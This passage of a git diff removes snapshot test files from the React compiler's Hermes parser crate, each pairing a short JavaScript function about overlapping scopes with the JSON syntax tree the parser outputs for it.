-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          147
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              148,
-                              149
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              150,
-                              151
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            148,
-                            151
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        144,
-                        152
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          154,
-                          157
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              158,
-                              163
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              164,
-                              165
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            158,
-                            165
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        154,
-                        166
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    110,
-                    167
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  167
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              168
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                178,
-                179
-              ]
-            },
-            "loc": null,
-            "range": [
-              171,
-              180
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          182
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        182
-      ],
-      "loc": null,
-      "range": [
-        0,
-        182
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    182
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved-by-terminal.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved-by-terminal.js.snap
deleted file mode 100644
index 72ea4dd67295..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved-by-terminal.js.snap
+++ /dev/null
@@ -1,317 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved-by-terminal.js
----
-Input:
-function foo(a, b, c) {
-  const x = [];
-  const y = [];
-
-  if (x) {
-  }
-
-  y.push(a);
-  x.push(b);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              39
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    52,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  48,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              42,
-              55
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                63,
-                64
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                66,
-                71
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              59,
-              71
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    76
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    81
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  75,
-                  81
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                75,
-                84
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              75,
-              85
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    94
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  88,
-                  94
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                88,
-                97
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              88,
-              98
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          100
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        100
-      ],
-      "loc": null,
-      "range": [
-        0,
-        100
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    100
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved.js.snap
deleted file mode 100644
index 5900119c55e6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-interleaved.js.snap
+++ /dev/null
@@ -1,275 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved.js
----
-Input:
-function foo(a, b) {
-  let x = [];
-  let y = [];
-  x.push(a);
-  y.push(b);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    31,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              34
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              37,
-              48
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    57
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  51,
-                  57
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                51,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              51,
-              61
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  64,
-                  70
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                64,
-                73
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              64,
-              74
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          76
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        76
-      ],
-      "loc": null,
-      "range": [
-        0,
-        76
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    76
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowed.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowed.js.snap
deleted file mode 100644
index 49b2e12ab229..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowed.js.snap
+++ /dev/null
@@ -1,275 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowed.js
----
-Input:
-function foo(a, b) {
-  let x = [];
-  let y = [];
-  y.push(b);
-  x.push(a);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    31,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              34
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              37,
-              48
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    57
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  51,
-                  57
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                51,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              51,
-              61
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  64,
-                  70
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                64,
-                73
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              64,
-              74
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          76
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        76
-      ],
-      "loc": null,
-      "range": [
-        0,
-        76
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    76
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowing-within-block.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowing-within-block.js.snap
deleted file mode 100644
index 6ee1ebfa6226..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-shadowing-within-block.js.snap
+++ /dev/null
@@ -1,421 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowing-within-block.js
----
-Input:
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    let y = [];
-    if (b) {
-      y.push(c);
-    }
-
-    x.push(<div>{y}</div>);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    34,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  36
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              37
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                44,
-                45
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          58
-                        ]
-                      },
-                      "init": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          61,
-                          63
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        57,
-                        63
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    53,
-                    64
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      74
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                84,
-                                85
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                86,
-                                90
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              84,
-                              90
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            84,
-                            93
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          94
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      76,
-                      100
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          107
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          112
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        106,
-                        112
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              114,
-                              117
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            113,
-                            118
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                119,
-                                120
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              118,
-                              121
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              123,
-                              126
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            121,
-                            127
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          113,
-                          127
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      106,
-                      128
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    129
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                133
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              40,
-              133
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                143,
-                144
-              ]
-            },
-            "loc": null,
-            "range": [
-              136,
-              145
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          147
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        147
-      ],
-      "loc": null,
-      "range": [
-        0,
-        147
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    147
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-while.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-while.js.snap
deleted file mode 100644
index 00dc4775ac3e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-while.js.snap
+++ /dev/null
@@ -1,315 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-while.js
----
-Input:
-function foo(a, b, c) {
-  let x = [];
-  let y = [];
-  while (c) {
-    y.push(b);
-    x.push(a);
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    34,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  36
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              37
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    48,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              51
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                61,
-                62
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          70,
-                          71
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          72,
-                          76
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        70,
-                        76
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          77,
-                          78
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      79
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    80
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          86
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          87,
-                          91
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        85,
-                        91
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          92,
-                          93
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      85,
-                      94
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    95
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                64,
-                99
-              ]
-            },
-            "loc": null,
-            "range": [
-              54,
-              99
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          101
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        101
-      ],
-      "loc": null,
-      "range": [
-        0,
-        101
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    101
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-within-block.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-within-block.js.snap
deleted file mode 100644
index 86db51866e81..000000000000
